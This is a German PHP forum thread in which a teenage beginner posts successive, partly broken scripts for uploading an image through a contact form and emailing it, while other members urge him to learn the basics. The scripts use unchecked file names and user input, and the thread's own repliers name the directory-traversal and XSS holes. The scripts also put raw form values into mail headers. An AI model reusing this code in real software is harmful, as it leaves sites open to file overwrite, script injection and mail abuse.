Entwickler-Ecke
Off Topic - PHP - Bild an mich über Internetseite senden
>M@steR< - Mi 11.01.06 21:04
Titel: PHP - Bild an mich über Internetseite senden
Hi,
also ich hebe eine website bei freenet (
http://people.freenet.de/MASTER-of-all) und möchte es möglich machen das man Bilder in das kontaktformular einfügen kann oder das mir einfach von jamandem bilder zugesendet werden können.
bin in PHP totaler NOOB und habe KA wie ich das machen kann.
>M@steR<
Moderiert von Christian S.: Topic aus Internet / Netzwerk verschoben am Mi 11.01.2006 um 20:06
storestore - So 14.08.11 17:58
Hab das gleiche Problem hat jemand eine Antwort dazu?
storestore - So 14.08.11 18:50
Aber wo kann ich die e-mail einfügen an die er es senden soll???
Dude566 - So 14.08.11 18:52
Ob man einen Dateianhang auch bei PHP hinzufügen kann, weiß ich gerade nicht.
Ich würde die Datei einfach auf den Server laden und den Pfad zur Datei in der Mail einfügen, wo ist denn da dein Problem?
storestore - So 14.08.11 22:52
Sorry, man aber ich verstehe nur Bahnhof. Welcher server meinst du meinen webspace oder was.
Wo im code kann ich meine e-mail einfügen damit er es mir sendet, so meine ich es .,.
mfg storestore
storestore - Mo 15.08.11 00:31
Hmm, oh Gott ok danke.
Hmm, also da werde ich wohl das Datein-Formular brauchen noch was.
An welche e-mail schickt er es dann und kann man die e-mail irrgendwo einfügen???
Sorry kenn mich echt nicht gut mit php aus bin noch am lernen
mfg storestore
Dude566 - Mo 15.08.11 00:43
Der Parameter "$to" im Beispiel aus dem Link sollte die Adresse des Empfängers beinhalten. ;)
storestore - Di 16.08.11 16:35
Hmmm, sehr komplieziert könnte einer mal vieleicht ein video tutorial machen?
mfg storestore
Dude566 - Di 16.08.11 17:01
Anderer Vorschlag: Du setzt dich mit den Grundlagen auseinander, oder du eröffnest ein Thema in der Job Börse und jemand erledigt das ganze gegen einen kleinen Obolus für dich. :wink:
storestore - Mi 17.08.11 00:12
Hmmmm, oder ich warte bis jemand sagt: "Ohh der arme storestore ich mach ihm das video" ;)
elundril - Mi 17.08.11 00:21
storestore - Mi 17.08.11 12:15
^^ Cool. Hättest aber die Arbeit ins tutorial stecken können ;)
Dude566 - Mi 17.08.11 14:35
Du hättest dich in der Zeit auch schon mehrfach durch eines der zahlreichen Einsteiger Tutorials lesen können und dann bei konkreten Problemen hier fragen können. :roll:
Edit: Da du ja so auf Videos stehst -->
http://www.youtube.com/watch?v=DpdqLCMo4Hw
storestore - Mi 17.08.11 15:11
Danke schön :oops: :oops:
Moderiert von Martok: Doppelposting entfernt.
Moment mal der zeigt ja nicht wie man einen datei- upload erstellt. Das was er macht hab ich schon zzzzz :mahn: :)
storestore - Mi 17.08.11 15:44
Ja aber ich hätte es gerne auf deutsch ;) und mit Ton
Dude566 - Mi 17.08.11 15:47
Und was ist das für eine Sprache in meinem zweiten Link?! :roll:
storestore - Mi 17.08.11 17:59
Achso ja sorry ich dachte der wäre ohne Ton (Ich hatte mein Ton ausversehen [jajajaja] aus) ;)
Moment er läst die Datei nicht per e-mail verschicken (*mecker, mecker, mecker, mecker*) ;)
Dude566 - Mi 17.08.11 19:23
Also wenn du nicht fähig bist, das in beiden Videos gezeigte zu kombinieren oder selbst etwas nachzulesen, dann mach doch einfach einen Thread in der Job Börse oder warte solange bis sich jemand erbarmt. :roll:
storestore - Mi 17.08.11 19:26
Wie war das nochmal mit dem warten bis sich jemand erbamt ;) ^^
Dude566 - Mi 17.08.11 19:27
Viel Glück, ich glaube nicht, dass es hier jemand umsonst macht. :D
storestore - Mi 17.08.11 19:28
Nee, nur das Problem ist er lässt die daten in ein Ordner laden ich will es per e-mail zugeschickt bekommen
Dude566 - Mi 17.08.11 19:34
Die können dann ja auch verschickt werden, zunächst müssen sie in diesem Fall aber hochgeladen werden, das steht aber auch schon alles in dem ersten Link den ich gepostet habe.
Du hast doch nichts davon gelesen oder? :roll:
storestore - Mi 17.08.11 19:38
Ich will aber das die dirket verschickt werden .,.
Dude566 - Mi 17.08.11 19:41
Es muss aber in jedem Fall ein Upload getätigt werden, da PHP nun mal serverseitig läuft.
storestore - Mi 17.08.11 19:45
Hmmm bist du dir da sicher
storestore - Mi 17.08.11 19:46
Naja und ich es hochgeladen habe wie mach ma das mit der e-mail
storestore - Mi 17.08.11 19:50
Achso okkk danke
(Ein tutorial ist trotzdem besser) ;)
Dude566 - Mi 17.08.11 20:20
Das ist eins, man muss nur lesen können. ;)
storestore - Mi 17.08.11 22:10
Naja dann muss ich wohl oder übel lesen lernen ;)
storestore - Sa 20.08.11 13:16
Hallo, kann mir jemand sagen wo ich hier im code die Bilder- Formate festlegen kann?
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23:
| <?php $dateityp = GetImageSize($_FILES['datei']['tmp_name']); if($dateityp[2] != 0) {
if($_FILES['datei']['size'] < 102400) { move_uploaded_file($_FILES['datei']['tmp_name'], "upload/".$_FILES['datei']['name']); echo "Das Bild wurde Erfolgreich nach upload/".$_FILES['datei']['name']." hochgeladen"; }
else { echo "Das Bild darf nicht größer als 100 kb sein "; }
}
else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; } ?> |
Danke im voraus
storestore - So 21.08.11 11:08
Hatt den niemand eine antwort ;( :opps: :(
BenBE - So 21.08.11 12:01
PHP kommt mit einem (inzwischen) recht guten Manual. Und ich dachte, du wolltest mal lesen lernen ;-) Zumal das ja im Code steht ;-) (Auch wenn ich den so nicht stehen lassen würde, weil der nur die Hälfte der für ein sicheres Upload-Script nötigen Abfragen macht). Von der XSS-Lücke in Zeile 9 mal gar nicht zu sprechen. Und das Directory Traversal in Zeile 8 hat auch was Nettes :P
BTW: Zeile 3 --> RTFM --> Lösung.
mandras - So 21.08.11 12:04
über
$_FILES["datei"]["type"];
BenBE - So 21.08.11 12:10
mandras hat folgendes geschrieben : |
über
$_FILES["datei"]["type"]; |
Ja und nein :P
Ja, da steht was drin, was wie ein Dateityp aussieht.
Nein: Das Feld steht unter Kontrolle des Users und kann damit einfach missbraucht werden.
Die Upload-Info kann also maximal als Indiz genutzt werden (wobei ich die aus Prinzip verwerfe, eben WEIL sie unter Kontrolle des Nutzers steht).
Die richtige Lösung hab ich oben bereits angedeutet; Lesen hilft hier wirklich.
storestore - Mo 22.08.11 14:49
Tut mir leid aber ich brauche nochmal Hilfe.
Er zeigt mir an das hier ein Syntaxfehler in Zeile 6 ist. Denn finde ich leider nicht! Würde der code (wenn der Syntaxfehler behoben ist) eig. funktionieren?
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49:
| <?php if(isset($_FILES['upload'])){ $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp'); $ext = substr($_FILES['upload']['name'], strrpos('.', $_FILES['upload']['name']); } } $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) { echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
}
else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; }
} } echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";
if ( mail("storestore@web.de", "Betreff", "name", "From: $Email")){ echo "Die Mail wurde erfolgreich gesendet"; } ?> |
Horschdware - Mo 22.08.11 15:42
Zeile 4: Runde Klammer fehlt
Zeile 8: Geschweifte Klammer zu viel
Zeile 25: Geschweifte Klammer fehlt...
Schau dir bitte nochmal selbst deinen Code im Detail an.
Eine vernünftige Entwicklungsumgebung zeigt dir so etwas übrigens gleich an ;-)
Btw:
Warum ersetzt du die Umlaute?
Was ist mit der XSS Schwachstelle, die schon angesprochen wurde?
PS: Was mir gerade auffällt:
Du willst am Ende des PHP Scripts eine E-Mail ohne Body an jemanden schicken. Ging es in diesem Thread nicht darum, ein Bild per E-Mail zu verschicken? Also, ich sehe da keinen Ansatz, wie das Bild in die E-Mail kommen soll.
Schau dir doch aml in der PHP Doku den Abschnitt über mail() an. Wenn ich mich richtig erinnere gabs da ein nettes Beispiel.
storestore - Mo 22.08.11 18:21
Ohhh ja danke für die Hinweise ;)
Aber irrgendwas fehlt immer noch:
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36:
| <php? if(isset($_FILES['upload'])) { $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp'); $ext = substr($_FILES['upload']['name']), strrpos('.', $_FILES['upload']['name']); } $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { { if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) { echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
?> |
mfg storestore
Horschdware - Mo 22.08.11 20:53
Willkommen bei der Schnitzeljagd. Heute: Finde die Fehler ;-)
storestore hat folgendes geschrieben : |
Ohhh ja danke für die Hinweise ;)
Aber irrgendwas fehlt immer noch:
Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36:
| <php? if(isset($_FILES['upload'])) { $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp'); $ext = substr($_FILES['upload']['name']), strrpos('.', $_FILES['upload']['name']); } $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { { if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) { echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
// kein mail() mehr?? ?> |
mfg storestore |
BenBE - Mo 22.08.11 20:58
Hol Dir von Waterproof PHPEdit. Das hilft ungemein. Für Privat ist die Lizenz kostenlos; man muss nur mal sich 5 Minuten hinsetzen und den Herren ne nette Anfrage schicken.
storestore - Mo 22.08.11 23:36
Ok, hab mir als erstes mal eine Demo gedownloaded ;)
Danke für den Tipp.
Hättest du vlt. ein paar kontakt links voran ich schreiben könnte? Hab gerade nix gefunden ;)
storestore - Di 23.08.11 15:06
Horschdware hat folgendes geschrieben : |
Willkommen bei der Schnitzeljagd. Heute: Finde die Fehler ;-)
storestore hat folgendes geschrieben : | Ohhh ja danke für die Hinweise ;)
Aber irrgendwas fehlt immer noch:
Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42:
| <php? if(isset($_FILES['upload'])) { $allowed_exts = array('jpg','jpeg', 'png', 'gif', 'bmp'); $ext = substr($_FILES['upload']['name']), strrpos('.', $_FILES['upload']['name']); } $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
Sollen die Orangen jetzt falsch seien? Was ist an "<php?" falsch ??? // Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { { if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) { echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
// kein mail() mehr?? ?> |
mfg storestore |
|
Horschdware - Di 23.08.11 15:20
oO
Fullquote ohne Änderungen und ohne eigenen Beitrag? Aha, was willst du uns damit sagen?
storestore - Di 23.08.11 15:24
Horschdware hat folgendes geschrieben : |
oO
Fullquote ohne Änderungen und ohne eigenen Beitrag? Aha, was willst du uns damit sagen? |
Da sollte eig. was darunter stehen aber egal. Sind die Orangenen die Fehler. Was ist an <php? der Fehler
Dude566 - Di 23.08.11 15:25
Der Fehler ist, das du dich immer noch nicht mit den Grundlagen von PHP auseinander gesetzt hast und deshalb keine Ahnung hast was der Code im einzelnen macht. :roll:
Horschdware - Di 23.08.11 15:28
Ich möchte mal ganz fix einen Vergleich zu einem Hühnchen aufstellen, das vor Kurzem gerupft wurde.
Oder besser gesagt: Bitte erst Grundlagen lernen + verstehen. Das erspart dir und den Forenteilnehmern viel Stress und graue Haare :-)
storestore - Di 23.08.11 15:30
Dude566 hat folgendes geschrieben : |
Der Fehler ist, das du dich immer noch nicht mit den Grundlagen von PHP auseinander gesetzt hast und deshalb keine Ahnung hast was der Code im einzelnen macht. :roll: |
Ähh also:
Er checkt ob es ein Bild ist und welches format es hat. Dan checkt er die größe und speichert die Bilder in einem Ordner.
Aber was sind den jetzt konrett die Fehler
Horschdware - Di 23.08.11 15:32
Schau dir die markierten Stellen an und denke gründlich darüber nach.
Dann denke über die Bedeutung der Worte "Syntax" und "Semantik" nach.
Dann schreibe deinen nächsten Beitrag.
storestore - Di 23.08.11 15:36
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45:
| <form method="post" action="file_upload.php" enctype="multipart/form-data"> <input type="file" name="datei"> <input type="submit" name="submit" value="Hochladen"> </form> <?php if(isset($_POST['submit'])) { $dateityp = GetImageSize($_FILES['datei']['tmp_name']); if($dateityp[2] != 0) { $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { if ( move_uploaded_file($_FILES['datei']['tmp_name'], "bilder/".$datname) ) { echo "Das Bild wurde Erfolgreich nach bilder/$datname hochgeladen";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
}
else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; }
} } ?> |
storestore - Mi 24.08.11 11:31
Und ist dieser Code jetzt richtig (*push hoch ;)*)
BenBE - Mi 24.08.11 11:32
storestore hat folgendes geschrieben : |
Und ist dieser Code jetzt richtig |
Nein. Die Sicherheitslücken sind immer noch drinnen ...
storestore - Mi 24.08.11 11:34
BenBE hat folgendes geschrieben : |
storestore hat folgendes geschrieben : | Und ist dieser Code jetzt richtig |
Nein. Die Sicherheitslücken sind immer noch drinnen ... |
Ok, und welche sicherheitslücken genau, also wie die heißen oder was die machen. Und wie kann man die beheben?
Aber jetzt mal von den Sicherheitslücken weggesehen ist der code doch richtig, oder?
mfg storestore
Horschdware - Mi 24.08.11 11:43
Wurde auf Seite 2 dieses Threads erläutert: Du greifst ungeprüft auf die vom User übermittelten Eingaben zu. Dort kann Schadcode eingeschleust werden.
storestore - Mi 24.08.11 11:49
Horschdware hat folgendes geschrieben : |
Wurde auf Seite 2 dieses Threads erläutert: Du greifst ungeprüft auf die vom User übermittelten Eingaben zu. Dort kann Schadcode eingeschleust werden. |
OK, also sprich du meinst konkretter weisse die Parameter.
Ist der code jetzt eig. richtig.
In dreamweaver hat er gesagt kein Syntaxfehler aber auf meiner
http://www.bplaced.net Seite zeigt er mir an ;'; unexpectet in Zeile 7.
Wegen den Sicherheitslücken, wäre ich für jede Information dankbar
storestore - Mi 24.08.11 15:12
Ok, werde ich bald bearbeiten und durchlesen.
Danke!
Kennt ihr vielleicht ein Programm das Sicherheitslücken erkennt?
Ich habe mir das ganze auch mal mit dem Bild als datei-anhang angeschaut. Jetzt würde ich euch mal bitten, dass ihr euch mal den code mal gescheit anschaut und mal sagt ob der richtig ist. Bei mir gab es keine Syntaxfehler. Aber als ich auf [link]bplaced.net[/link]geladen habe, bekamm ich zwar alles wie name und so, aber das Bild war nirgens dabe, auch nicht irrgendwo im Anhang oder bei spam oder so. Desweiteren würde ich euch bitten das ihr euch auch hier mal die Sicherheitslücken anschaut. Ich weiß ist etwas viel und es ist auch nicht euer Job, aber naja wer hilft nicht schon gerne einen 13 Jährigen Jungen? ;)
Fehlermeldungen gab es nicht.
Hier der code:
Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116:
| <?php /* Betreffen und Email Variable */ $emailBetreff = 'Bestellung'; $webmaster = 'storestore@web.de'; /* Emailforen Daten*/
$name = $_POST['name']; $nachname = $_POST['nachname']; $email = $_POST['email']; $ort = $_POST['ort']; $plz = $_POST['plz']; $strasse = $_POST['strasse']; $hausnummer = $_POST['hausnummer']; $produkt = $_POST['produkt']; $produkt2 .= $_POST['produkt2']; $produkt3 .= $_POST['produkt3']; $notiz = $_POST['notiz']; $agb = $_POST['agb']; $datein = $_POST['datein']; /* Was in der E-mail stehen soll */ $body = <<<EOD <br><hr><br> Name: $name <br> Nachname: $nachname <br> Email: $email <br> Ort: $ort<br> PLZ: $plz <br> Strasse: $strasse <br> Hausnummer: $hausnummer <br> Produkt1: $produkt <br> Produkt2: $produkt2 <br> Produkt3: $produkt3 <br> Notzi: $notiz <br> AGB: $agb <br> Datein: $datein <br> EOD;
if(isset($_POST['submit'])) { $dateityp = GetImageSize($_FILES['datei']['tmp_name']); if($dateityp[2] != 0) { $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse $betreff = "Bestellung von $nachname" ;// Betreff
$dateiname = "bild.gif"; // Dateiname $dateiname_mail = "anhang.gif";
$id = md5(uniqid(time())); $dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));
// Absender Name und E-Mail Adresse $kopf = "From: $name, $nachname <$email>\n"; $kopf .= "MIME-Version: 1.0\n"; $kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n"; $kopf .= "This is a multi-part message in MIME format\n"; $kopf .= "--$id\n"; $kopf .= "Content-Type: text/plain\n"; $kopf .= "Content-Transfer-Encoding: 8bit\n\n"; $kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body) $kopf .= "\n--$id"; // Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org $kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n"; $kopf .= "Content-Transfer-Encoding: base64\n"; $kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n"; $kopf .= chunk_split(base64_encode($dateiinhalt)); $kopf .= "\n--$id--";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
}
else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; }
}
$headers = "From: $email\r\n"; $headers .= "Content-type: text/html\r\n"; $headers = mail($webmaster, $emailBetreff, $body, $headers, $kopf); /* Antwort*/ echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";
?>
?> |
Danke schon mal fürs durchlesen und naja ich hoffe ihr (könnt mir helfen) helft mir
mfg storestore#
BenBE - Mi 24.08.11 15:24
brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas.
storestore - Mi 24.08.11 15:29
BenBE hat folgendes geschrieben : |
brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas. |
Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]
http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:
mfg storestore
Horschdware - Mi 24.08.11 15:39
storestore hat folgendes geschrieben : |
BenBE hat folgendes geschrieben : | brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas. |
Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:
mfg storestore |
qft!
Das ist jetzt aber nicht dein Ernst, oder? oO
storestore - Mi 24.08.11 15:50
storestore hat folgendes geschrieben : |
Ok, werde ich bald bearbeiten und durchlesen.
Danke!
Kennt ihr vielleicht ein Programm das Sicherheitslücken erkennt?
Ich habe mir das ganze auch mal mit dem Bild als datei-anhang angeschaut. Jetzt würde ich euch mal bitten, dass ihr euch mal den code mal gescheit anschaut und mal sagt ob der richtig ist. Bei mir gab es keine Syntaxfehler. Aber als ich auf [link]bplaced.net[/link]geladen habe, bekamm ich zwar alles wie name und so, aber das Bild war nirgens dabe, auch nicht irrgendwo im Anhang oder bei spam oder so. Desweiteren würde ich euch bitten das ihr euch auch hier mal die Sicherheitslücken anschaut. Ich weiß ist etwas viel und es ist auch nicht euer Job, aber naja wer hilft nicht schon gerne einen 13 Jährigen Jungen? ;)
Fehlermeldungen gab es nicht.
Hier der code:
Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116:
| <?php /* Betreffen und Email Variable */ $emailBetreff = 'Bestellung'; $webmaster = 'storestore@web.de'; /* Emailforen Daten*/
$name = $_POST['name']; $nachname = $_POST['nachname']; $email = $_POST['email']; $ort = $_POST['ort']; $plz = $_POST['plz']; $strasse = $_POST['strasse']; $hausnummer = $_POST['hausnummer']; $produkt = $_POST['produkt']; $produkt2 .= $_POST['produkt2']; $produkt3 .= $_POST['produkt3']; $notiz = $_POST['notiz']; $agb = $_POST['agb']; $datein = $_POST['datein']; /* Was in der E-mail stehen soll */ $body = <<<EOD <br><hr><br> Name: $name <br> Nachname: $nachname <br> Email: $email <br> Ort: $ort<br> PLZ: $plz <br> Strasse: $strasse <br> Hausnummer: $hausnummer <br> Produkt1: $produkt <br> Produkt2: $produkt2 <br> Produkt3: $produkt3 <br> Notzi: $notiz <br> AGB: $agb <br> Datein: $datein <br> EOD;
if(isset($_POST['submit'])) { $dateityp = GetImageSize($_FILES['datei']['tmp_name']); if($dateityp[2] != 0) { $text=$_FILES['datei']['name']; // Umlaute entfernen $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/"); $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss"); $text_neu = preg_replace($umlaute, $replace, $text);
// Dateiname wird erstellt $text = $text_neu; $datname=time(); $datname.=$text;
if($_FILES['datei']['size'] < 4096000) { $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse $betreff = "Bestellung von $nachname" ;// Betreff
$dateiname = "bild.gif"; // Dateiname $dateiname_mail = "anhang.gif";
$id = md5(uniqid(time())); $dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));
// Absender Name und E-Mail Adresse $kopf = "From: $name, $nachname <$email>\n"; $kopf .= "MIME-Version: 1.0\n"; $kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n"; $kopf .= "This is a multi-part message in MIME format\n"; $kopf .= "--$id\n"; $kopf .= "Content-Type: text/plain\n"; $kopf .= "Content-Transfer-Encoding: 8bit\n\n"; $kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body) $kopf .= "\n--$id"; // Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org $kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n"; $kopf .= "Content-Transfer-Encoding: base64\n"; $kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n"; $kopf .= chunk_split(base64_encode($dateiinhalt)); $kopf .= "\n--$id--";
}
else { echo "Das Bild darf nicht größer als 4 MB sein "; }
}
else { echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen"; }
}
$headers = "From: $email\r\n"; $headers .= "Content-type: text/html\r\n"; $headers = mail($webmaster, $emailBetreff, $body, $headers, $kopf); /* Antwort*/ echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";
?>
?> |
Danke schon mal fürs durchlesen und naja ich hoffe ihr (könnt mir helfen) helft mir
mfg storestore |
also was ist jetzt damit ?
Teekeks - Mi 24.08.11 15:58
storestore hat folgendes geschrieben : |
BenBE hat folgendes geschrieben : | brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas. |
Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:
mfg storestore |
Soll ich dir das einmal übersetzen was er meinte?
Er meinte "Mach doch verdammt noch mal dein Hirn an und guck was du Postest. Dann würden dir auch Fehler auffallen!".
Nur das er es deutlich Indirekter und freundlicher geschrieben hat als ich. Aber scheinbar kann die Version 0.8.15 auch keine Andeutung Interpretieren :D
storestore - Mi 24.08.11 16:35
Ach verdammt Brain.exe
.,.
Brainnnnn ach man ich dachte das wäre echt ein Programm .,.
Ohhh man ihr seit fis
storestore - Mi 24.08.11 16:52
storestore hat folgendes geschrieben : |
Ok, werde ich bald bearbeiten und durchlesen.
Danke!
Kennt ihr vielleicht ein Programm das Sicherheitslücken erkennt?
Ich habe mir das ganze auch mal mit dem Bild als datei-anhang angeschaut. Jetzt würde ich euch mal bitten, dass ihr euch mal den code mal gescheit anschaut und mal sagt ob der richtig ist. Bei mir gab es keine Syntaxfehler. Aber als ich auf [link]bplaced.net[/link]geladen habe, bekamm ich zwar alles wie name und so, aber das Bild war nirgens dabe, auch nicht irrgendwo im Anhang oder bei spam oder so. Desweiteren würde ich euch bitten das ihr euch auch hier mal die Sicherheitslücken anschaut. Ich weiß ist etwas viel und es ist auch nicht euer Job, aber naja wer hilft nicht schon gerne einen 13 Jährigen Jungen? ;)
Fehlermeldungen gab es nicht.
Hier der code:
Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116:
| <?php /* Betreffen und Email Variable */ $emailBetreff = 'Bestellung'; $webmaster = 'storestore@web.de'; /* Emailforen Daten*/
